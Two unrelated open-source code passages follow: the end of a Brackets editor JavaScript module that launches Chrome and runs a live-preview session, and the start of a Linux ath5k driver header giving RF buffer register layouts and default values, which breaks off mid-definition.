_setStatus(STATUS_ERROR); var dialogPromise = Dialogs.showModalDialog( DefaultDialogs.DIALOG_ID_LIVE_DEVELOPMENT, Strings.LIVE_DEVELOPMENT_RELAUNCH_TITLE, _makeTroubleshootingMessage(Strings.LIVE_DEVELOPMENT_ERROR_MESSAGE), [ { className: Dialogs.DIALOG_BTN_CLASS_LEFT, id: Dialogs.DIALOG_BTN_CANCEL, text: Strings.CANCEL }, { className: Dialogs.DIALOG_BTN_CLASS_PRIMARY, id: Dialogs.DIALOG_BTN_OK, text: Strings.RELAUNCH_CHROME } ] ); dialogPromise.done(function (id) { if (id === Dialogs.DIALOG_BTN_OK) { // User has chosen to reload Chrome, quit the running instance _setStatus(STATUS_INACTIVE); _close() .done(function () { browserStarted = false; // Continue to use _openDeferred open(true); }) .fail(function (err) { // Report error? _setStatus(STATUS_ERROR); browserStarted = false; _openDeferred.reject("CLOSE_LIVE_BROWSER"); }); } else { _close() .done(function () { browserStarted = false; _openDeferred.reject("CANCEL"); }) .fail(function (err) { // Report error? _setStatus(STATUS_ERROR); browserStarted = false; _openDeferred.reject("CLOSE_LIVE_BROWSER"); }); } }); return; } retryCount++; if (!browserStarted && exports.status !== STATUS_ERROR) { NativeApp.openLiveBrowser( launcherUrl, true // enable remote debugging ) .done(function () { browserStarted = true; }) .fail(function (err) { var message; _setStatus(STATUS_ERROR); if (err === FileSystemError.NOT_FOUND) { message = Strings.ERROR_CANT_FIND_CHROME; } else { message = StringUtils.format(Strings.ERROR_LAUNCHING_BROWSER, err); } Dialogs.showModalDialog( DefaultDialogs.DIALOG_ID_ERROR, Strings.ERROR_LAUNCHING_BROWSER_TITLE, _makeTroubleshootingMessage(message) ); _openDeferred.reject("OPEN_LIVE_BROWSER"); }); } if (exports.status !== STATUS_ERROR) { window.setTimeout(function retryConnect() { Inspector.connectToURL(launcherUrl).fail(onConnectFail); }, 3000); } }); } // helper function that actually does the launch once we are sure we have // a doc and the server for that doc is up and running. function _doLaunchAfterServerReady(initialDoc) { // update status _setStatus(STATUS_CONNECTING); _createLiveDocumentForFrame(initialDoc); // start listening for requests _server.start(); // Install a one-time event handler when connected to the launcher page Inspector.one("connect", _onConnect); // open browser to the interstitial page to prepare for loading agents _openInterstitialPage(); // Once all agents loaded (see _onInterstitialPageLoad()), begin Live Highlighting for preprocessor documents _openDeferred.done(function () { // Setup activeEditorChange event listener so that we can track cursor positions in // CSS preprocessor files and perform live preview highlighting on all elements with // the current selector in the preprocessor file. EditorManager.on("activeEditorChange", onActiveEditorChange); // Explicitly trigger onActiveEditorChange so that live preview highlighting // can be set up for the preprocessor files. onActiveEditorChange(null, EditorManager.getActiveEditor(), null); }); } function _prepareServer(doc) { var deferred = new $.Deferred(), showBaseUrlPrompt = false; _server = LiveDevServerManager.getServer(doc.file.fullPath); // Optionally prompt for a base URL if no server was found but the // file is a known server file extension showBaseUrlPrompt = !exports.config.experimental && !_server && LiveDevelopmentUtils.isServerHtmlFileExt(doc.file.fullPath); if (showBaseUrlPrompt) { // Prompt for a base URL PreferencesDialogs.showProjectPreferencesDialog("", Strings.LIVE_DEV_NEED_BASEURL_MESSAGE) .done(function (id) { if (id === Dialogs.DIALOG_BTN_OK && ProjectManager.getBaseUrl()) { // If base url is specifed, then re-invoke _prepareServer() to continue _prepareServer(doc).then(deferred.resolve, deferred.reject); } else { deferred.reject(); } }); } else if (_server) { // Startup the server var readyPromise = _server.readyToServe(); if (!readyPromise) { _showLiveDevServerNotReadyError(); deferred.reject(); } else { readyPromise.then(deferred.resolve, function () { _showLiveDevServerNotReadyError(); deferred.reject(); }); } } else { // No server found deferred.reject(); } return deferred.promise(); } function getCurrentProjectServerConfig() { return { baseUrl: ProjectManager.getBaseUrl(), pathResolver: ProjectManager.makeProjectRelativeIfPossible, root: ProjectManager.getProjectRoot().fullPath }; } function _createUserServer() { return new UserServer(getCurrentProjectServerConfig()); } function _createFileServer() { return new FileServer(getCurrentProjectServerConfig()); } /** * Open the Connection and go live * * @param {!boolean} restart true if relaunching and _openDeferred already exists * @return {jQuery.Promise} Resolves once live preview is open */ function open(restart) { // If close() is still pending, wait for close to finish before opening if (_isPromisePending(_closeDeferred)) { return _closeDeferred.then(function () { return open(restart); }); } if (!restart) { // Return existing promise if it is still pending if (_isPromisePending(_openDeferred)) { return _openDeferred; } else { _openDeferred = new $.Deferred(); _openDeferred.always(function () { _openDeferred = null; }); } } // Send analytics data when Live Preview is opened HealthLogger.sendAnalyticsData( "livePreviewOpen", "usage", "livePreview", "open" ); // Register user defined server provider and keep handlers for further clean-up _regServers.push(LiveDevServerManager.registerServer({ create: _createUserServer }, 99)); _regServers.push(LiveDevServerManager.registerServer({ create: _createFileServer }, 0)); // TODO: need to run _onFileChanged() after load if doc != currentDocument here? Maybe not, since activeEditorChange // doesn't trigger it, while inline editors can still cause edits in doc other than currentDoc... _getInitialDocFromCurrent().done(function (doc) { var prepareServerPromise = (doc && _prepareServer(doc)) || new $.Deferred().reject(), otherDocumentsInWorkingFiles; if (doc && !doc._masterEditor) { otherDocumentsInWorkingFiles = MainViewManager.getWorkingSet(MainViewManager.ALL_PANES).length; MainViewManager.addToWorkingSet(MainViewManager.ACTIVE_PANE, doc.file); if (!otherDocumentsInWorkingFiles) { MainViewManager._edit(MainViewManager.ACTIVE_PANE, doc); } } // wait for server (StaticServer, Base URL or file:) prepareServerPromise .done(function () { var reverseInspectPref = PreferencesManager.get("livedev.enableReverseInspect"), wsPort = PreferencesManager.get("livedev.wsPort"); if (wsPort && reverseInspectPref) { WebSocketTransport.createWebSocketServer(wsPort); } _doLaunchAfterServerReady(doc); }) .fail(function () { _showWrongDocError(); }); }); return _openDeferred.promise(); } /** Enable highlighting */ function showHighlight() { var doc = getLiveDocForEditor(EditorManager.getActiveEditor()); if (doc && doc.updateHighlight) { doc.updateHighlight(); } } /** Hide any active highlighting */ function hideHighlight() { if (Inspector.connected() && agents.highlight) { agents.highlight.hide(); } } /** Redraw highlights **/ function redrawHighlight() { if (Inspector.connected() && agents.highlight) { agents.highlight.redraw(); } } /** * @private * MainViewManager.currentFileChange event handler. */ function _onFileChanged() { var doc = _getCurrentDocument(); if (!doc || !Inspector.connected()) { return; } // close the current session and begin a new session if the current // document changes to an HTML document that was not loaded yet var docUrl = _server && _server.pathToUrl(doc.file.fullPath), wasRequested = agents.network && agents.network.wasURLRequested(docUrl), isViewable = exports.config.experimental || (_server && _server.canServe(doc.file.fullPath)); if (!wasRequested && isViewable) { // Update status _setStatus(STATUS_CONNECTING); // clear live doc and related docs _closeDocuments(); // create new live doc _createLiveDocumentForFrame(doc); // Navigate to the new page within this site. Agents must handle // frameNavigated event to clear any saved state. Inspector.Page.navigate(docUrl).then(function () { _setStatus(STATUS_ACTIVE); }, function () { _close(false, "closed_unknown_reason"); }); } else if (wasRequested) { // Update highlight showHighlight(); } } /** * Triggered by a documentSaved event from DocumentManager. * @param {$.Event} event * @param {Document} doc */ function _onDocumentSaved(event, doc) { if (!Inspector.connected() || !_server) { return; } var absolutePath = doc.file.fullPath, liveDocument = absolutePath && _server.get(absolutePath), liveEditingEnabled = liveDocument && liveDocument.isLiveEditingEnabled && liveDocument.isLiveEditingEnabled(); // Skip reload if the saved document has live editing enabled if (liveEditingEnabled) { return; } var documentUrl = _server.pathToUrl(absolutePath), wasRequested = agents.network && agents.network.wasURLRequested(documentUrl); if (wasRequested) { reload(); } } /** Triggered by a change in dirty flag from the DocumentManager */ function _onDirtyFlagChange(event, doc) { if (doc && Inspector.connected() && _server && agents.network && agents.network.wasURLRequested(_server.pathToUrl(doc.file.fullPath))) { // Set status to out of sync if dirty. Otherwise, set it to active status. _setStatus(_docIsOutOfSync(doc) ? STATUS_OUT_OF_SYNC : STATUS_ACTIVE); } } /** Initialize the LiveDevelopment Session */ function init(theConfig) { exports.config = theConfig; Inspector.on("error", _onError); Inspector.Inspector.on("detached", _onDetached); // Only listen for styleSheetAdded // We may get interim added/removed events when pushing incremental updates CSSAgent.on("styleSheetAdded.livedev", _styleSheetAdded); MainViewManager .on("currentFileChange", _onFileChanged); DocumentManager .on("documentSaved", _onDocumentSaved) .on("dirtyFlagChange", _onDirtyFlagChange); ProjectManager .on("beforeProjectClose beforeAppClose", close); // Initialize exports.status _setStatus(STATUS_INACTIVE); } function _getServer() { return _server; } function getServerBaseUrl() { return _server && _server.getBaseUrl(); } EventDispatcher.makeEventDispatcher(exports); // For unit testing exports.launcherUrl = launcherUrl; exports._getServer = _getServer; exports._getInitialDocFromCurrent = _getInitialDocFromCurrent; // Export public functions exports.agents = agents; exports.open = open; exports.close = close; exports.reconnect = reconnect; exports.reload = reload; exports.enableAgent = enableAgent; exports.disableAgent = disableAgent; exports.getLiveDocForPath = getLiveDocForPath; exports.showHighlight = showHighlight; exports.hideHighlight = hideHighlight; exports.redrawHighlight = redrawHighlight; exports.init = init; exports.getCurrentProjectServerConfig = getCurrentProjectServerConfig; exports.getServerBaseUrl = getServerBaseUrl; });
{ "pile_set_name": "Github" }
/* * RF Buffer handling functions * * Copyright (c) 2009 Nick Kossifidis <[email protected]> * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * */ /* * There are some special registers on the RF chip * that control various operation settings related mostly to * the analog parts (channel, gain adjustment etc). * * We don't write on those registers directly but * we send a data packet on the chip, using a special register, * that holds all the settings we need. After we 've sent the * data packet, we write on another special register to notify hw * to apply the settings. This is done so that control registers * can be dynamicaly programmed during operation and the settings * are applied faster on the hw. * * We call each data packet an "RF Bank" and all the data we write * (all RF Banks) "RF Buffer". This file holds initial RF Buffer * data for the different RF chips, and various info to match RF * Buffer offsets with specific RF registers so that we can access * them. We tweak these settings on rfregs_init function. * * Also check out reg.h and U.S. Patent 6677779 B1 (about buffer * registers and control registers): * * http://www.google.com/patents?id=qNURAAAAEBAJ */ /* * Struct to hold default mode specific RF * register values (RF Banks) */ struct ath5k_ini_rfbuffer { u8 rfb_bank; /* RF Bank number */ u16 rfb_ctrl_register; /* RF Buffer control register */ u32 rfb_mode_data[5]; /* RF Buffer data for each mode */ }; /* * Struct to hold RF Buffer field * infos used to access certain RF * analog registers */ struct ath5k_rfb_field { u8 len; /* Field length */ u16 pos; /* Offset on the raw packet */ u8 col; /* Column -used for shifting */ }; /* * RF analog register definition */ struct ath5k_rf_reg { u8 bank; /* RF Buffer Bank number */ u8 index; /* Register's index on rf_regs_idx */ struct ath5k_rfb_field field; /* RF Buffer field for this register */ }; /* Map RF registers to indexes * We do this to handle common bits and make our * life easier by using an index for each register * instead of a full rfb_field */ enum ath5k_rf_regs_idx { /* BANK 6 */ AR5K_RF_OB_2GHZ = 0, AR5K_RF_OB_5GHZ, AR5K_RF_DB_2GHZ, AR5K_RF_DB_5GHZ, AR5K_RF_FIXED_BIAS_A, AR5K_RF_FIXED_BIAS_B, AR5K_RF_PWD_XPD, AR5K_RF_XPD_SEL, AR5K_RF_XPD_GAIN, AR5K_RF_PD_GAIN_LO, AR5K_RF_PD_GAIN_HI, AR5K_RF_HIGH_VC_CP, AR5K_RF_MID_VC_CP, AR5K_RF_LOW_VC_CP, AR5K_RF_PUSH_UP, AR5K_RF_PAD2GND, AR5K_RF_XB2_LVL, AR5K_RF_XB5_LVL, AR5K_RF_PWD_ICLOBUF_2G, AR5K_RF_PWD_84, AR5K_RF_PWD_90, AR5K_RF_PWD_130, AR5K_RF_PWD_131, AR5K_RF_PWD_132, AR5K_RF_PWD_136, AR5K_RF_PWD_137, AR5K_RF_PWD_138, AR5K_RF_PWD_166, AR5K_RF_PWD_167, AR5K_RF_DERBY_CHAN_SEL_MODE, /* BANK 7 */ AR5K_RF_GAIN_I, AR5K_RF_PLO_SEL, AR5K_RF_RFGAIN_SEL, AR5K_RF_RFGAIN_STEP, AR5K_RF_WAIT_S, AR5K_RF_WAIT_I, AR5K_RF_MAX_TIME, AR5K_RF_MIXVGA_OVR, AR5K_RF_MIXGAIN_OVR, AR5K_RF_MIXGAIN_STEP, AR5K_RF_PD_DELAY_A, AR5K_RF_PD_DELAY_B, AR5K_RF_PD_DELAY_XR, AR5K_RF_PD_PERIOD_A, AR5K_RF_PD_PERIOD_B, AR5K_RF_PD_PERIOD_XR, }; /*******************\ * RF5111 (Sombrero) * \*******************/ /* BANK 6 len pos col */ #define AR5K_RF5111_OB_2GHZ { 3, 119, 0 } #define AR5K_RF5111_DB_2GHZ { 3, 122, 0 } #define AR5K_RF5111_OB_5GHZ { 3, 104, 0 } #define AR5K_RF5111_DB_5GHZ { 3, 107, 0 } #define AR5K_RF5111_PWD_XPD { 1, 95, 0 } #define AR5K_RF5111_XPD_GAIN { 4, 96, 0 } /* Access to PWD registers */ #define AR5K_RF5111_PWD(_n) { 1, (135 - _n), 3 } /* BANK 7 len pos col */ #define AR5K_RF5111_GAIN_I { 6, 29, 0 } #define AR5K_RF5111_PLO_SEL { 1, 4, 0 } #define AR5K_RF5111_RFGAIN_SEL { 1, 36, 0 } #define AR5K_RF5111_RFGAIN_STEP { 6, 37, 0 } /* Only on AR5212 BaseBand and up */ #define AR5K_RF5111_WAIT_S { 5, 19, 0 } #define AR5K_RF5111_WAIT_I { 5, 24, 0 } #define AR5K_RF5111_MAX_TIME { 2, 49, 0 } static const struct ath5k_rf_reg rf_regs_5111[] = { {6, AR5K_RF_OB_2GHZ, AR5K_RF5111_OB_2GHZ}, {6, AR5K_RF_DB_2GHZ, AR5K_RF5111_DB_2GHZ}, {6, AR5K_RF_OB_5GHZ, AR5K_RF5111_OB_5GHZ}, {6, AR5K_RF_DB_5GHZ, AR5K_RF5111_DB_5GHZ}, {6, AR5K_RF_PWD_XPD, AR5K_RF5111_PWD_XPD}, {6, AR5K_RF_XPD_GAIN, AR5K_RF5111_XPD_GAIN}, {6, AR5K_RF_PWD_84, AR5K_RF5111_PWD(84)}, {6, AR5K_RF_PWD_90, AR5K_RF5111_PWD(90)}, {7, AR5K_RF_GAIN_I, AR5K_RF5111_GAIN_I}, {7, AR5K_RF_PLO_SEL, AR5K_RF5111_PLO_SEL}, {7, AR5K_RF_RFGAIN_SEL, AR5K_RF5111_RFGAIN_SEL}, {7, AR5K_RF_RFGAIN_STEP, AR5K_RF5111_RFGAIN_STEP}, {7, AR5K_RF_WAIT_S, AR5K_RF5111_WAIT_S}, {7, AR5K_RF_WAIT_I, AR5K_RF5111_WAIT_I}, {7, AR5K_RF_MAX_TIME, AR5K_RF5111_MAX_TIME} }; /* Default mode specific settings */ static const struct ath5k_ini_rfbuffer rfb_5111[] = { { 0, 0x989c, /* mode a/XR mode aTurbo mode b mode g mode gTurbo */ { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00380000, 0x00380000, 0x00380000, 0x00380000, 0x00380000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 0, 0x989c, { 0x00000000, 0x00000000, 0x000000c0, 0x00000080, 0x00000080 } }, { 0, 0x989c, { 0x000400f9, 0x000400f9, 0x000400ff, 0x000400fd, 0x000400fd } }, { 0, 0x98d4, { 0x00000000, 0x00000000, 0x00000004, 0x00000004, 0x00000004 } }, { 1, 0x98d4, { 0x00000020, 0x00000020, 0x00000020, 0x00000020, 0x00000020 } }, { 2, 0x98d4, { 0x00000010, 0x00000014, 0x00000010, 0x00000010, 0x00000014 } }, { 3, 0x98d8, { 0x00601068, 0x00601068, 0x00601068, 0x00601068, 0x00601068 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x10000000, 0x10000000, 0x10000000, 0x10000000, 0x10000000 } }, { 6, 0x989c, { 0x04000000, 0x04000000, 0x04000000, 0x04000000, 0x04000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x0a000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x003800c0, 0x00380080, 0x023800c0, 0x003800c0, 0x003800c0 } }, { 6, 0x989c, { 0x00020006, 0x00020006, 0x00000006, 0x00020006, 0x00020006 } }, { 6, 0x989c, { 0x00000089, 0x00000089, 0x00000089, 0x00000089, 0x00000089 } }, { 6, 0x989c, { 0x000000a0, 0x000000a0, 0x000000a0, 0x000000a0, 0x000000a0 } }, { 6, 0x989c, { 0x00040007, 0x00040007, 0x00040007, 0x00040007, 0x00040007 } }, { 6, 0x98d4, { 0x0000001a, 0x0000001a, 0x0000001a, 0x0000001a, 0x0000001a } }, { 7, 0x989c, { 0x00000040, 0x00000048, 0x00000040, 0x00000040, 0x00000040 } }, { 7, 0x989c, { 0x00000010, 0x00000010, 0x00000010, 0x00000010, 0x00000010 } }, { 7, 0x989c, { 0x00000008, 0x00000008, 0x00000008, 0x00000008, 0x00000008 } }, { 7, 0x989c, { 0x0000004f, 0x0000004f, 0x0000004f, 0x0000004f, 0x0000004f } }, { 7, 0x989c, { 0x000000f1, 0x000000f1, 0x00000061, 0x000000f1, 0x000000f1 } }, { 7, 0x989c, { 0x0000904f, 0x0000904f, 0x0000904c, 0x0000904f, 0x0000904f } }, { 7, 0x989c, { 0x0000125a, 0x0000125a, 0x0000129a, 0x0000125a, 0x0000125a } }, { 7, 0x98cc, { 0x0000000e, 0x0000000e, 0x0000000f, 0x0000000e, 0x0000000e } }, }; /***********************\ * RF5112/RF2112 (Derby) * \***********************/ /* BANK 7 (Common) len pos col */ #define AR5K_RF5112X_GAIN_I { 6, 14, 0 } #define AR5K_RF5112X_MIXVGA_OVR { 1, 36, 0 } #define AR5K_RF5112X_MIXGAIN_OVR { 2, 37, 0 } #define AR5K_RF5112X_MIXGAIN_STEP { 4, 32, 0 } #define AR5K_RF5112X_PD_DELAY_A { 4, 58, 0 } #define AR5K_RF5112X_PD_DELAY_B { 4, 62, 0 } #define AR5K_RF5112X_PD_DELAY_XR { 4, 66, 0 } #define AR5K_RF5112X_PD_PERIOD_A { 4, 70, 0 } #define AR5K_RF5112X_PD_PERIOD_B { 4, 74, 0 } #define AR5K_RF5112X_PD_PERIOD_XR { 4, 78, 0 } /* RFX112 (Derby 1) */ /* BANK 6 len pos col */ #define AR5K_RF5112_OB_2GHZ { 3, 269, 0 } #define AR5K_RF5112_DB_2GHZ { 3, 272, 0 } #define AR5K_RF5112_OB_5GHZ { 3, 261, 0 } #define AR5K_RF5112_DB_5GHZ { 3, 264, 0 } #define AR5K_RF5112_FIXED_BIAS_A { 1, 260, 0 } #define AR5K_RF5112_FIXED_BIAS_B { 1, 259, 0 } #define AR5K_RF5112_XPD_SEL { 1, 284, 0 } #define AR5K_RF5112_XPD_GAIN { 2, 252, 0 } /* Access to PWD registers */ #define AR5K_RF5112_PWD(_n) { 1, (302 - _n), 3 } static const struct ath5k_rf_reg rf_regs_5112[] = { {6, AR5K_RF_OB_2GHZ, AR5K_RF5112_OB_2GHZ}, {6, AR5K_RF_DB_2GHZ, AR5K_RF5112_DB_2GHZ}, {6, AR5K_RF_OB_5GHZ, AR5K_RF5112_OB_5GHZ}, {6, AR5K_RF_DB_5GHZ, AR5K_RF5112_DB_5GHZ}, {6, AR5K_RF_FIXED_BIAS_A, AR5K_RF5112_FIXED_BIAS_A}, {6, AR5K_RF_FIXED_BIAS_B, AR5K_RF5112_FIXED_BIAS_B}, {6, AR5K_RF_XPD_SEL, AR5K_RF5112_XPD_SEL}, {6, AR5K_RF_XPD_GAIN, AR5K_RF5112_XPD_GAIN}, {6, AR5K_RF_PWD_130, AR5K_RF5112_PWD(130)}, {6, AR5K_RF_PWD_131, AR5K_RF5112_PWD(131)}, {6, AR5K_RF_PWD_132, AR5K_RF5112_PWD(132)}, {6, AR5K_RF_PWD_136, AR5K_RF5112_PWD(136)}, {6, AR5K_RF_PWD_137, AR5K_RF5112_PWD(137)}, {6, AR5K_RF_PWD_138, AR5K_RF5112_PWD(138)}, {7, AR5K_RF_GAIN_I, AR5K_RF5112X_GAIN_I}, {7, AR5K_RF_MIXVGA_OVR, AR5K_RF5112X_MIXVGA_OVR}, {7, AR5K_RF_MIXGAIN_OVR, AR5K_RF5112X_MIXGAIN_OVR}, {7, AR5K_RF_MIXGAIN_STEP, AR5K_RF5112X_MIXGAIN_STEP}, {7, AR5K_RF_PD_DELAY_A, AR5K_RF5112X_PD_DELAY_A}, {7, AR5K_RF_PD_DELAY_B, AR5K_RF5112X_PD_DELAY_B}, {7, AR5K_RF_PD_DELAY_XR, AR5K_RF5112X_PD_DELAY_XR}, {7, AR5K_RF_PD_PERIOD_A, AR5K_RF5112X_PD_PERIOD_A}, {7, AR5K_RF_PD_PERIOD_B, AR5K_RF5112X_PD_PERIOD_B}, {7, AR5K_RF_PD_PERIOD_XR, AR5K_RF5112X_PD_PERIOD_XR}, }; /* Default mode specific settings */ static const struct ath5k_ini_rfbuffer rfb_5112[] = { { 1, 0x98d4, /* mode a/XR mode aTurbo mode b mode g mode gTurbo */ { 0x00000020, 0x00000020, 0x00000020, 0x00000020, 0x00000020 } }, { 2, 0x98d0, { 0x03060408, 0x03070408, 0x03060408, 0x03060408, 0x03070408 } }, { 3, 0x98dc, { 0x00a0c0c0, 0x00a0c0c0, 0x00e0c0c0, 0x00e0c0c0, 0x00e0c0c0 } }, { 6, 0x989c, { 0x00a00000, 0x00a00000, 0x00a00000, 0x00a00000, 0x00a00000 } }, { 6, 0x989c, { 0x000a0000, 0x000a0000, 0x000a0000, 0x000a0000, 0x000a0000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x00660000, 0x00660000, 0x00660000, 0x00660000, 0x00660000 } }, { 6, 0x989c, { 0x00db0000, 0x00db0000, 0x00db0000, 0x00db0000, 0x00db0000 } }, { 6, 0x989c, { 0x00f10000, 0x00f10000, 0x00f10000, 0x00f10000, 0x00f10000 } }, { 6, 0x989c, { 0x00120000, 0x00120000, 0x00120000, 0x00120000, 0x00120000 } }, { 6, 0x989c, { 0x00120000, 0x00120000, 0x00120000, 0x00120000, 0x00120000 } }, { 6, 0x989c, { 0x00730000, 0x00730000, 0x00730000, 0x00730000, 0x00730000 } }, { 6, 0x989c, { 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 } }, { 6, 0x989c, { 0x000c0000, 0x000c0000, 0x000c0000, 0x000c0000, 0x000c0000 } }, { 6, 0x989c, { 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000 } }, { 6, 0x989c, { 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000, 0x00ff0000 } }, { 6, 0x989c, { 0x008b0000, 0x008b0000, 0x008b0000, 0x008b0000, 0x008b0000 } }, { 6, 0x989c, { 0x00600000, 0x00600000, 0x00600000, 0x00600000, 0x00600000 } }, { 6, 0x989c, { 0x000c0000, 0x000c0000, 0x000c0000, 0x000c0000, 0x000c0000 } }, { 6, 0x989c, { 0x00840000, 0x00840000, 0x00840000, 0x00840000, 0x00840000 } }, { 6, 0x989c, { 0x00640000, 0x00640000, 0x00640000, 0x00640000, 0x00640000 } }, { 6, 0x989c, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000 } }, { 6, 0x989c, { 0x00240000, 0x00240000, 0x00240000, 0x00240000, 0x00240000 } }, { 6, 0x989c, { 0x00250000, 0x00250000, 0x00250000, 0x00250000, 0x00250000 } }, { 6, 0x989c, { 0x00110000, 0x00110000, 0x00110000, 0x00110000, 0x00110000 } }, { 6, 0x989c, { 0x00110000, 0x00110000, 0x00110000, 0x00110000, 0x00110000 } }, { 6, 0x989c, { 0x00510000, 0x00510000, 0x00510000, 0x00510000, 0x00510000 } }, { 6, 0x989c, { 0x1c040000, 0x1c040000, 0x1c040000, 0x1c040000, 0x1c040000 } }, { 6, 0x989c, { 0x000a0000, 0x000a0000, 0x000a0000, 0x000a0000, 0x000a0000 } }, { 6, 0x989c, { 0x00a10000, 0x00a10000, 0x00a10000, 0x00a10000, 0x00a10000 } }, { 6, 0x989c, { 0x00400000, 0x00400000, 0x00400000, 0x00400000, 0x00400000 } }, { 6, 0x989c, { 0x03090000, 0x03090000, 0x03090000, 0x03090000, 0x03090000 } }, { 6, 0x989c, { 0x06000000, 0x06000000, 0x06000000, 0x06000000, 0x06000000 } }, { 6, 0x989c, { 0x000000b0, 0x000000b0, 0x000000a8, 0x000000a8, 0x000000a8 } }, { 6, 0x989c, { 0x0000002e, 0x0000002e, 0x0000002e, 0x0000002e, 0x0000002e } }, { 6, 0x989c, { 0x006c4a41, 0x006c4a41, 0x006c4af1, 0x006c4a61, 0x006c4a61 } }, { 6, 0x989c, { 0x0050892a, 0x0050892a, 0x0050892b, 0x0050892b, 0x0050892b } }, { 6, 0x989c, { 0x00842400, 0x00842400, 0x00842400, 0x00842400, 0x00842400 } }, { 6, 0x989c, { 0x00c69200, 0x00c69200, 0x00c69200, 0x00c69200, 0x00c69200 } }, { 6, 0x98d0, { 0x0002000c, 0x0002000c, 0x0002000c, 0x0002000c, 0x0002000c } }, { 7, 0x989c, { 0x00000094, 0x00000094, 0x00000094, 0x00000094, 0x00000094 } }, { 7, 0x989c, { 0x00000091, 0x00000091, 0x00000091, 0x00000091, 0x00000091 } }, { 7, 0x989c, { 0x0000000a, 0x0000000a, 0x00000012, 0x00000012, 0x00000012 } }, { 7, 0x989c, { 0x00000080, 0x00000080, 0x00000080, 0x00000080, 0x00000080 } }, { 7, 0x989c, { 0x000000c1, 0x000000c1, 0x000000c1, 0x000000c1, 0x000000c1 } }, { 7, 0x989c, { 0x00000060, 0x00000060, 0x00000060, 0x00000060, 0x00000060 } }, { 7, 0x989c, { 0x000000f0, 0x000000f0, 0x000000f0, 0x000000f0, 0x000000f0 } }, { 7, 0x989c, { 0x00000022, 0x00000022, 0x00000022, 0x00000022, 0x00000022 } }, { 7, 0x989c, { 0x00000092, 0x00000092, 0x00000092, 0x00000092, 0x00000092 } }, { 7, 0x989c, { 0x000000d4, 0x000000d4, 0x000000d4, 0x000000d4, 0x000000d4 } }, { 7, 0x989c, { 0x000014cc, 0x000014cc, 0x000014cc, 0x000014cc, 0x000014cc } }, { 7, 0x989c, { 0x0000048c, 0x0000048c, 0x0000048c, 0x0000048c, 0x0000048c } }, { 7, 0x98c4, { 0x00000003, 0x00000003, 0x00000003, 0x00000003, 0x00000003 } }, }; /* RFX112A (Derby 2) */ /* BANK 6 len pos col */ #define AR5K_RF5112A_OB_2GHZ { 3, 287, 0 } #define AR5K_RF5112A_DB_2GHZ { 3, 290, 0 } #define AR5K_RF5112A_OB_5GHZ { 3, 279, 0 } #define AR5K_RF5112A_DB_5GHZ { 3, 282, 0 } #define AR5K_RF5112A_FIXED_BIAS_A { 1, 278, 0 } #define AR5K_RF5112A_FIXED_BIAS_B { 1, 277, 0 } #define AR5K_RF5112A_XPD_SEL { 1, 302, 0 } #define AR5K_RF5112A_PDGAINLO { 2, 270, 0 } #define AR5K_RF5112A_PDGAINHI { 2, 257, 0 } /* Access to PWD registers */ #define AR5K_RF5112A_PWD(_n) { 1, (306 - _n), 3 } /* Voltage regulators */ #define AR5K_RF5112A_HIGH_VC_CP { 2, 90, 2 } #define AR5K_RF5112A_MID_VC_CP { 2, 92, 2 